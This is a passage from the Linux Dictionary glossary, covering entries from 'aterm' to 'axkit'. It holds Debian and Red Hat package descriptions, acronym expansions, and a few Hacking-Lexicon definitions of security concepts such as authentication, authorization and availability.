Afterstep XVT – a VT102 emulator for the X window system Aterm is a colour vt102 terminal emulator, based on rxvt 2.4.8 with some additions of fast transparency, intended as an xterm replacement for users who do not require features such as Tektronix 4014 emulation and toolkit-style configurability. As a result, aterm uses much less swap space — a significant advantage on a machine serving many X sessions. It was created with AfterStep Window Manager users in mind, but is not tied to any libraries, and can be used anywhere. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ATES

Advanced Techniques integration into Efficient scientific Software (ESPRIT, CASE) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ATF

Automatic Track Finding (DDS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

atfs

The Attributed File System (AtFS). AtFS is a storage system supporting multiple versions of files and associating an arbitrary number of application defined attributes of the form "name=value" with each version. AtFS comes as a function library that is meant as an extension to the UNIX file system. It does this without the need for kernel modifications and without imposing any restrictions to existing file system applications. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

atftp

Advanced TFTP client. Interactive client for the Trivial File Transfer Protocol (TFTP). Its usage is mainly for testing and debugging a TFTP server since a client is usually implemented in BIOS' for boot from LAN setups. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

atftpd

Advanced TFTP server. Multithreaded TFTP server implementing all options specified in RFCs 1350, 2090, 2347, 2348, 2349 (multicast not implemented yet). The server currently supports being started from inetd(8) only. The server then handles new connections directly by starting new threads and kills itself after 5 minutes of inactivity. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ATL

Adaptive Threshold Learning (neural nets) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

atlas2

Automatically Tuned Linear Algebra Software, generic shared ATLAS is an approach for the automatic generation and optimization of numerical software for processors with deep memory hierarchies and pipelined functional units. The production of such software for machines ranging from desktop workstations to embedded processors can be a tedious and time consuming task. ATLAS has been designed to automate much of this process. We concentrate our efforts on the widely used linear algebra kernels called the Basic Linear Algebra Subroutines (BLAS). These libraries are built without any processor extension instructions, and should run on all processors of this general architecture, albeit less than optimally. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ATM

Abstract Test Method (ISO 9646-1) From VERA

AU

Access Unit From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

AUAI

Association for Uncertainty in Artificial Intelligence (org., AI) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

aub

Assembles binary files from USENET AUB automatically assembles the pieces of multi-part Usenet postings and decodes them. A user-supplied configuration file tells which newsgroups AUB should monitor. The user can also supply a "hook" program, which tests each subject header and determines whether that particular file should be downloaded or not. Resumed development resuming after 10 years of inactivity has given AUB the better documentation and the new abilities to decode Base64 files, perform NNTP authentication as well as a good deal of additional functionality. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

AUC

Authentication Center (GSM, mobile-systems), "AuC" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

auctex

An integrated environment for writing TeX/LaTeX documents. AUC TeX can indent your text as you write it, let you run TeX/LaTeX and other LaTeX-related tools (such as a output filter or post processor) from within Emacs, and includes a wide range of Emacs macros to allow both easy insertions of LaTeX commands, and easy compilation, previewing, and printing of your TeX documents. AUC TeX also lets you browse through compiling errors TeX reports, while it moves the cursor directly to the reported error and displays documentation for that particular error. This will even work when the document is spread over several files. Currently XEmacs ships with its own AUC TeX, so this package should only be used with GNU/Emacs. (I.e., you don't need to install this package if your site uses only XEmacs.) From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

audacity

A fast, cross-platform audio editor Audacity is an innovative graphical audio editor. Its main goals are speed and being cross-platform (it uses the cross-platform toolkit wxWindows, and is fully supported on Linux, Windows, Mac OS 9 and X, and FreeBSD). It is very fast. Due to its file format and internal data representation, undo and redo are constant-time operations. It also supports an unlimited number of tracks, and can import and export a number of different formats including WAV, AIFF, MP3 and Ogg Vorbis. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Audio Bookshelf

Including the Enigma Audio Bookshelf could be stretching the definition of a Linux distribution more than a little. But this is a bootable CD product, which contains enough of a Linux operating system to turn a PC into a book reader. Any PC meeting the requirements can be turned into a Linux based book reader, regardless of the OS installed on the hard drive. Read the book yourself, or have the computer read to you. A 'special purpose/mini' distribution. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

audiofile

The Audio File library is an implementation of SGI's Audio File Library, which provides an API for accessing audio file formats like AIFF/AIFF-C, WAVE, and NeXT/Sun .snd/.au files. This library is used by the Esound daemon. Install audio file if you are installing Esound or you need an API for any of the sound file formats it can handle. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

audiooss

transparent OSS emulation over NAS This is a compatibility utility that allows programs written for the popular Open Sound System (OSS) interface to run using the Network Audio System (NAS) instead. It works by preloading a library to intercept and manipulate critical system calls such as open(), read(), and write(). The emulation is not yet complete, but it already works for many programs. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

AUDIT

Automated Data Input Terminal From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

audit

The word audit has two meanings. The first is the security audit, whereby a consulting firm comes in and validates a company's security profile. This is similar to how accounting firms review a company's books. The second term is infosec specific, and means an "auditing" subsystem that monitors actions within the system. For example, it may keep a record of everyone who logs onto a system. Such a record is known as an audit trail. From Hacking-Lexicon

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

AUDIUS

AussenDienstUnterstuetzungsSystem (CAS) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

AUIS

Andrew User Interface System (Unix, UI) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

aumix

Aumix is a tty-based, interactive method of controlling a sound card mixer. It lets you adjust the input levels from the CD, microphone, and board synthesizers, as well as the output volume. Aumix can adjust audio mixers from the command line, from a script, or interactively at the console or terminal with an ncurses-based interface. The aumix-X11 package provides a GTK+ interface for using aumix with the X Window System. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

aumix

Simple text-based mixer control program aumix is a small, easy-to-use program to control the mixer of your sound card. It runs in text mode using the ncurses library, or from the command line (non-interactively). It can read default settings from a file. A wrapper script xaumix is provided that finds and invokes xterm or a replacement. This is primarily for creating the best sized terminal window. If you want a true graphical interface, install aumix-gtk instead. That has the same functionality as this one in addition to offering a nice X11 GUI. The old companion package aumix-alsa, which did take advantage of the extra facilities in the ALSA sound driver, is no longer available. This package should work fine with the ALSA driver. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

aumix

This is a program for adjusting audio mixers from the command line or scripts, or interactively at the console or a terminal with a full-screen, ncurses-based interface or a GTK-based X interface. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

AUP

Acceptable Use Policy (NFSNet) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Aurora Sparc Project

This Sparc Linux distribution is based on Red Hat 7.3. Build 0.2 was announced on December 4, 2001. Build 0.4 (Titanium) was released September 26, 2002. Build 0.42 (Douglas) was released October 4, 2002. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Aurox Linux

Aurox Linux is an international distribution, hailing from Poland. It is available in several european countries, in different language versions, including Polish, Czech, German, French and Spanish. Aurox is based on Red Hat, with Aurox 9.0 the most recent offering. Added to list June 11, 2003.

AURP

Appletalk Update-based Routing Protocol (Apple, Appletalk, RFC 1504) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

AUT

Application Under Test From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

authbind

Allows non-root programs to bind() to low ports This package allows a package to be started as non-root but still bind to low ports, without any changes to the application. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

authconfig

Authconfig is a terminal mode program which can configure a workstation to use shadow passwords. Authconfig can also configure asystem to be a client for certain networked user information and

authentication schemes. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

authentication

In infosec, authentication is the process of identifying an individual or data. The goal of authentication is to confirm the identification of an individual, message, file, or other data. The two primary areas of authentication are user authentication (proving that Bob is who he says he is) and message authentication (proving that your nuclear missile launch orders weren't forged or corrupted). The antonym of authentication is forgery. Contrast: Authentication will identify who an individual is; authorization will identify what the individual is allowed to do. Example: When you log in with your username and give the password, you are authenticating yourself to the system. You are proving that you are you because, in theory, only you know your password. Contrast: Abstractly, anything that combats forgery is called authentication. For example, IPsec includes an Authentication Header (AH) that proves that a packet hasn't been modified in transit. However, this feature overlaps with the abstract concept of integrity: both are checked at the same time. Examples: biometrics Signature (handwriting), facial features, fingerprint, etc. smart-card A card with an on-board microprocessor that can run crypto algorithms. For example, it may store a private-key, and be able to encrypt/decrypt tokens with that key. passwords digital certificates A small file containing public or private keys. SecureID A commercial product that uses a key and the current timestamp to generate a stream of random numbers that can be verified by a server. A user has roughly 10 seconds to enter the current number displayed on the card. Contrast: Three things used for authentication: physical (what you have) car keys, subway tokens, driver's license, passport, credit cards, ID cards, smart cards knowledge (what you know) PINs, usernames/passwords, account numbers, mother's maiden name biometrics (who you are) written signature, fingerprint, what you look like, etc. See also: Authentication is often mentioned along with other key security concepts such as integrity, confidentiality, and non-repudiation. From Hacking-Lexicon

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

authentication

the verification of the identity of a person or process. In a communication system, authentication verifies that messages really come from their stated source, like the signature on a (paper) letter From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

authentication

Verification of the identity of a username, password, process, or computer system for security purposes. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

authenticity

In infosec, authenticity is about making sure that the message received is the same as the message that was sent. In law, authenticity is about validating that evidence has been gathered correctly by a reliable source and hasn't been tampered with. Contrast: The terms integrity and authenticity are widely used to mean the same thing. In other situations, they have subtly different meanings (especially law). The term integrity generally describes defending against malicious change of a message once it has been sent, whereas authenticity implies some sort of validation of the sender of the message to protect against forgeries. Contrast: The terms authentication and authenticity are widely used to mean the same thing. The subtle difference is that authentication is about someone proving who they say they are, whereas authenticity is about proving that message was sent by a certain person. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Authoritative for a Domain

I have emphasized that name servers only hold information for their own domains. Any other information they may have about another domain is cached, temporary data that has an expiration date attached to it. The domain that a name server has information about is said to be the domain that a name server is authoritative for. Alternatively we say: "a name server is authoritative for the domain." For instance, the server ns2.cranzgot.co.za is authoritative for the domain cranzgot.co.za. Hence, lookups from anywhere on the Internet having the domain cranzgot.co.za ultimately are the

responsibility of ns2.cranzgot.co.za, and originate (albeit through a long series of caches) from the host ns2.cranzgot.co.za. From Rute-Users-Guide

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

authorization

In infosec, the concept of authorization validates that someone has the rights to access something. For example, you are authorized to read files from my webserver, but I don't authorize you to change anything. Contrast: The first stage of authorization is generally authentication. Before you decide what an individual is allowed to do, you must first establish who they are. In some cases, authorization is independent from authentication, such as not allowing anybody to logon after midnight. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

AUTHORS

List of people who contributed to or wrote a package or document. From Rute-Users-Guide

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

auto-apt

package search by file and on-demand package installation tool auto-apt checks the file access of programs running within its environments, and if a program tries to access a file known to belong in an uninstalled package, auto-apt will install that package using apt-get. This feature requires apt and sudo to work. It also provides simple database to search which package contains a requesting file.

From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

auto-pgp

PGP tools for command-line and Emacs use This package provides the shell commands pgp-auto, pgp-decrypt, and pgp-pixie. It also integrates PGP into your Emacs mailreader. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

autoclass

automatic classification or clustering AutoClass solves the problem of automatic discovery of classes in data (sometimes called clustering, or unsupervised learning), as distinct from the generation of class descriptions from labeled examples (called supervised learning). It aims to discover the "natural" classes in the data. AutoClass is applicable to observations of things that can be described by a set of attributes, without referring to other things. The data values corresponding to each attribute are limited to be either numbers or the elements of a fixed set of symbols. With numeric data, a measurement error must be provided. For more information, see

<http://ic-www.arc.nasa.gov/ic/projects/bayes-group/autoclass/>. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

autoconf

automatic configure script builder The standard for FSF source packages. This is only useful if you write your own programs or if you extensively modify other people's programs. This version of autoconf contains many changes from the previous release, version 2.13. For now, it depends on autoconf2.13 to provide compatibility. This will eventually go away, so please upgrade your autoconf installations. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

autoconf

creates scripts to configure source code packages using templates From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

autoconf

GNU's Autoconf is a tool for configuring source code and Makefiles. Using Autoconf, programmers can create portable and configurable packages, since the person building the package is allowed to specify various configuration options. You should install Autoconf if you are developing software and you would like to use it to create shell scripts that will configure your source code packages. If you are installing Autoconf, you will also need to install the GNU m4 package. Note that the Autoconf package is not required for the end-user whomay be configuring software with an Autoconf-generated script; Autoconf is only required for the generation of the scripts, not their use.

From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

autoconf

GNU's Autoconf is a tool for configuring source code and Makefiles. Using Autoconf, programmers can create portable and configurable packages, since the person building the package is allowed to specify various configuration options. You should install Autoconf if you are developing software and you'd like to use it to create shell scripts which will configure your source code packages. If you are installing Autoconf, you will also need to install the GNU m4 package. Note that the Autoconf package is not required for the end user who may be configuring software with an Autoconf-generated script; Autoconf is only required for the generation of the scripts, not their use. -- PLEASE NOTICE ---> this version is meant to coexist with autoconf-2.5x; to that end, the various binaries are actually linked to a script which decides which version to execute. It tries to be clever and will execute 2.5x if `configure.ac' is present, or if `configure.in' contains AC_PREREQ and the value's 3 first letters are stringwise greater than '2.1'. If anything fails, you can manually select 2.13 by providing the environment variable WANT_AUTOCONF_2_1 set to `1' (use WANT_AUTOCONF_2_5 if you want the 2.5x version). From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

AUTODIN

AUTOMATIC DIGITAL NETWORK (DMS, DISA) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

autodns-dhcp

Automatic DNS updates for DHCP autodns-dhcp uses bind 8's dynamic update features to update a zonefile with hostnames from the dhcp leases file, this is done just once for each hostname as the IP, MAC address and name are settled on the dhcp configuration to have an static zone. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

autofs

A kernel-based automounter for Linux. The kernel automounter implements an almost complete SunOS style automounter under Linux. The automounter is supported by Linux kernels 2.0.31 and higher or the 2.1.X series. Automounter support must be activated while compiling the kernel. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

autofs

Autofs controls the operation of the automount daemons. The automount daemons automatically mount filesystems when you use them and unmount them after a period of inactivity. Filesystems can include network filesystems, CD-ROMs, floppies, and other media. Install this package if you want a program for automatically mounting and unmounting filesystems. If your Red Hat Linux machine is on a network, you should install autofs. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

autogen

an automated text file generator AutoGen is a tool designed for generating program files that contain repetitive text with varied substitutions. This is especially valuable if there are several blocks of such text that must be kept synchronized. Included with AutoGen is a tool that virtually eliminates the hassle of processing options, keeping usage text up to date and so on. This tool allows you to specify several program attributes, innumerable options and option attributes, then it produces all the code necessary to parse and handle the command line and initialization file options. This package contains the development tools. libopts9-dev contains the static libraries and header files. libopts9 contains the shared libraries. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

autoheader

creates a template file of C #define's for use by configure. From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

autoinstall

Progeny Debian auto-installation system This package contains the Progeny Debian auto-installation system. This system makes it possible to install a complete Debian system with no user interaction

from a set of configuration files. The basic model is that of cloning an existing system; after installing and configuring a Debian system to taste, the configuration is "dumped" to the configuration files, along with some extra information. It currently supports flexible constraints for partitioning differently-sized disks in a logical fashion, hardware auto-configuration with discover (including configuration of X, if appropriate), network configuration via DHCP or a database based on MAC addresses, and a cross-platform design making it possible for install media for any platform to be created on any other platform. Platform-specific files are not included in this package; install the "autoinstall-<arch>" packages to install support for <arch>. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

autolog

Terminates connections for idle users Autolog terminates connections considered to be idle based on a large variety of parameters. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

automake

A tool for generating GNU Standards-compliant Makefiles. Automake is a tool for automatically generating `Makefile.in's from files called `Makefile.am'. The goal of Automake is to remove the burden of Makefile maintenance from the back of the individual GNU maintainer (and put it on the back of the Automake maintainer). The `Makefile.am' is basically a series of `make' macro definitions (with rules being thrown in occasionally). The generated `Makefile.in's are compliant with the GNU Makefile standards. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

automake

Automake is a tool for automatically generating Makefiles compliant with the GNU Coding Standards. You should install Automake if you are developing software and would like touse its capabilities of automatically generating GNU standard Makefiles. If you install Automake, you will also need to install GNU's Autoconf package. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

automake

Automake is an experimental Makefile generator. Automake was inspired by the 4.4BSD make and include files, but aims to be portable and to conform to the GNU standards for Makefile variables and targets. You should install Automake if you are developing software and would like to use its ability to automatically generate GNU standard Makefiles. If you install Automake, you will also need to install GNU's Autoconf package. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

automake

automatically create Makefile.in's from Makefile.am's From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

automount

Automounting is the process where mounting and unmounting of certain filesystems is done automatically by a daemon. If the filesystem is unmounted, and a user attempts to access it, it will be automatically (re)mounted. This is especially useful in large networked environments and for crossmounting filesystems between a few machines (especially ones which are not always online). It may also be very useful for removable devices, or a few other uses, such as easy switching between a forced-on ascii conversion mount of a dos filesystem and a forced-off ascii conversion mount of the same dos fs. If you are new to Linux and dont understand what mounting and daemons are, then refer to some documentation regarding this. There are two types of automounters in linux; AMD and autofs. AMD is the automount daemon, and supposedly works like the SunOS AMD. It is implemented in user space, meaning it's not part of the kernel. It's not necessary for the kernel to understand automounting if you NFS mount to the local host, through the AMD daemon, which routes all automount filesystem traffic through the NFS system. Autofs is a newer system assisted by the kernel, meaning that the kernel's filesystem code knows where the automount mount points are on

an otherwise normal underlying fs, and the automount program takes it from there. Only autofs will be described in this mini-howto. From Automount-miniHOWTO

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

automount

To automatically access a storage medium such as CD-ROMs and make its contents available to a computer system. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

autopilot

Monitor the DTR line of /dev/palm and run a command to start sync AutoPilot monitors the DTR line of /dev/palm, waiting for it to go from LOW to HIGH, which is used to activate a command automatically to make syncing easier. It can be used to boot up your favourite Palm syncer. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

autoproject

create a skeleton source package for a new program autoproject interviews the user, then creates a source package for a new program which follows the GNU programming standards. The new package uses autoconf to configure itself, and automake to create the Makefile. `make distcheck' succeeds. The idea is that you execute autoproject just once when you start a new project. It will ask a few questions, then create a new directory and populate it with standard files, customized for the new project.

Optionally, the new package will use a command line parser generator. Currently, autoproject supports two parser generators: clig by Harald Kirsch <kir@iitb.fhg.de> (see

<http://wsd.iitb.fhg.de/software/>), and autogen by Bruce Korb <korb@datadesign.com> (see

<ftp://autogen.linuxbox.com/pub/>). From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

autoreconf

update configure scripts From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

autorespond

email autoresponder for qmail autorespond sends an automatically generated response to emails for given address(es). It catches simple situations such as mail from a mailer-daemon, empty envelope sender, bulk precedence headers, etc. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

autorun

The autorun utility recognizes all of the CD-ROM drives on yoursystem, mounts the drive when a CD-ROM is inserted, and executes an autorun executable (if one exists) on the CD. If you want to giveusers (instead of just root) the autorun ability, you will need to adduser, exec options to the CD-ROM line in /etc/fstab. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

autoscan

help to create a configure.ac file for a software package From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

AUTOSEVOCOM

AUTOMated SEcure VOice COMMunications (predecessor, SVIP, mil., USA) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

autotrace

Bitmap to vector graphics converter AutoTrace is a program for converting bitmaps to vector graphics. The aim of the AutoTrace project is the development of a freely-available application similar to CorelTrace or Adobe Streamline. In some aspects it is already better. Originally created as a plugin for the GIMP, AutoTrace is now a standalone program. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

autoupdate

updates an old configure.in file to version 2 From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

AUTOVON

AUTOMATIC VOICE NETWORK (predecessor, DSN, DISA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

auto_resume

This variable controls how the shell interacts with the user and job control. If this variable is set, single word simple commands without redirections are treated as candidates for resumption of an existing stopped job. There is no ambiguity allowed; if there is more than one job beginning with the string typed, the job most recently accessed is selected. The name of a stopped job, in this context, is the command line used to start it. If set to the value exact, the string supplied must match the name of a stopped job exactly; if set to substring, the string supplied needs to match a substring of the name of a stopped job. The substring value provides functionality analogous to the %? job id (see JOB CONTROL below). If set to any other value, the supplied string must be a prefix of a stopped job's name; this provides functionality analogous to the % job id. From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

AUU

ATM User-to-User (ATM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

AUX

Apple UniX (Apple, Unix), "A/UX" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

AV

Audio/Video, "A/V" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

AV

AudioVisual [macintosh] (Apple) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ava

Algebraical Virtual Assembler for Atmel's AVR MCUs AVA is an advanced assembler and linker for Atmel's family of 8-bit AVR microcontrollers. It offers a C-like preprocessor, powerful segments, and virtual symbols. This assembler is not compatible with Atmel's assembler syntax. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

AVA

Audio-Visual Authoring From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

availability

In infosec, availability describes the need that resources must be continuously available. For example, in the Kosovo war, the European forces bombed power plants in order to destroy the availability of electricity. Another example is in February of the year 2000, when massive DDoS attacks brought down major websites (making them "unavailable"). Controversy: Availability is one of the key sticking points in security. It is easy to secure things simply by making them unavailable: if a computer is turned off, nobody can hack into it. The trick to infosec is making things both available and secure. Examples of this problem are: account lockouts In order to prevent password grinding, computers will lock out accounts when too many bad passwords have been attempted. However, this means that hackers can purposely lock out accounts. firewalls and IDS Some IDSs will reconfigure firewalls, therefore spoofing attacks can cause the firewall to shut people out. fail-close/fail-open So called "proper" security will shut things down when things start to fail; for example, if the firewall crashes, it should shutdown all communication until the firewall is restarted rather than allowin traffic through unchecked. However, web-sites that demand 99.99% uptime are therefore unable to use traditional firewalls. Antonym: The opposite of the infosec term "availability" is the hacking term "DoS". See also: Availability is often mentioned along with other key security concepts such as integrity, authentication, confidentiality, and non-repudiation. From Hacking-Lexicon
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

AVAS

avr-libc

Standard C library for Atmel AVR development Standard library used to the development of C programs for the Atmel AVR micro controllers. This package contains static libraries as well as the header files needed. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

avra

Assembler for Atmel AVR microcontrollers Avra is an assembler for the Atmel's family of AVR 8-bit RISC microcontrollers. It is is mostly compatible with Atmel's own assembler, but adds new features such as better macro support and additional preprocessor directives. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

avrp

Programmer for Atmel AVR microcontrollers Avrp is a FLASH/EEPROM programmer for Atmel's family of AVR 8-bit RISC microcontrollers. It can also program the Atmel AT89 series microcontrollers. It supports at least four different programming devices including Atmel's own AVR development board and in-circuit programming. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

avrprog

Programmer for Atmel AVR microcontrollers Programmer for Atmel AVR microcontrollers that uses PC parallel port to program the device in serial mode. The device can be programmed "in-system". It comes with a schematic of the hardware required. The hardware was designed to be efficient and inexpensive. For more information, see <http://avrprog.sourceforge.net> From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

AVS

Address Verification System From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

awe-drv

Linux AWE32 driver source and utilities Linux supports the Sound Blaster 32, and Sound Blaster AWE32, through the use of a driver written by Takashi Iwai <iwai@dragon.mm.t.u-tokyo.ac.jp>. These utilities are the package of AWE32 utilities for use with this driver, which manipulate patch files. They are required to load the vital '.SBK', or '.SF2' files, which will have been installed with your AWE32 DOS or Win95 software in \SB16\SF32 or \Windows\System. This also includes 'gusload', for loading GUS-format patches to the AWE32 driver. This package installs the source for the AWE32 driver into /usr/src/awedrv. In order to use the awe32 driver, you must recompile your kernel, after using the install script found in this package to patch these sources into your kernel source tree (they can alternatively be manually installed into the kernel source or into a separate copy of the sound driver). There are also some converters between different patch file formats for the AWE32, and the 'sfxtst' program for testing the AWE32 driver, which are installed in /usr/lib/awe. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

awk

/awk/ 1. n. [Unix techspeak] An interpreted language for massaging text data developed by Alfred Aho, Peter Weinberger, and Brian Kernighan (the name derives from their initials). It is characterized by C-like syntax, a declaration-free approach to variable typing and declarations, associative arrays, and field-oriented text processing. See also Perl. 2. n. Editing term for an expression awkward to

Linux Dictionary

manipulate through normal regexp facilities (for example, one containing a newline). 3. vt. To process data using awk(1). From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

AWK

al Aho, peter Weinberger, brian Kernighan (Unix) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

awk

An interpreted language for massaging text data developed by Alfred Aho, Peter Weinberger, and Brian Kernighan (the name derives from their initials). It is characterized by C-like syntax, a declaration-free approach to variable typing and declarations, associative arrays, and field-oriented text processing. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

awk

pattern scanning and text processing language From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Awk (Aho, Weinberger, and Kernighan)

A programming language useful for its patternmatching syntax, and often used for data retrieval and data transformation. A GNU version is called Gawk. From I-gloss

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

AWOL

Absent WithOut Leave (DFUe, Usenet, IRC) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

AWS

Apple Workgroup Server (Appletalk, Apple) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

awstats

A powerful and featureful web server log analyzer Advanced Web Statistics (AWStats) is a powerful web server logfile analyzer written in perl that shows you all your web statistics including visits, unique visitors, pages, hits, rush hours, search engines, keywords used to find your site, robots, broken links and more. Gives more detailed information and better graphical charts than webalizer, and is easier to use. Works with several web server log format as a CGI and/or from command line. Supports multiple languages (English, French, Dutch, Spanish, Italian, German, Polish, Greek...).

From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

AWT

Abstract Windows Toolkit (Java, Sun) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

AWTAPI

Abstract Windows Toolkit–Application Programmer Interface (AWT, API, Java) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

AX.25

a Packet Radio Protocol that offers both connected and connectionless modes of operation, and is used either by itself for point–point links, or to carry other protocols such as TCP/IP and NetRom.

From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

AXE

Application eXecution Environment From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

axel

A light download accelerator – Console version This program tries to accelerate the downloading process by using multiple connections for one file. Starting from version 0.97, the program can use multiple mirrors for one download as well. The program tries to be as light as possible (25–30k in binary form), so it might be useful as a wget clone on byte–critical systems. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

axkit

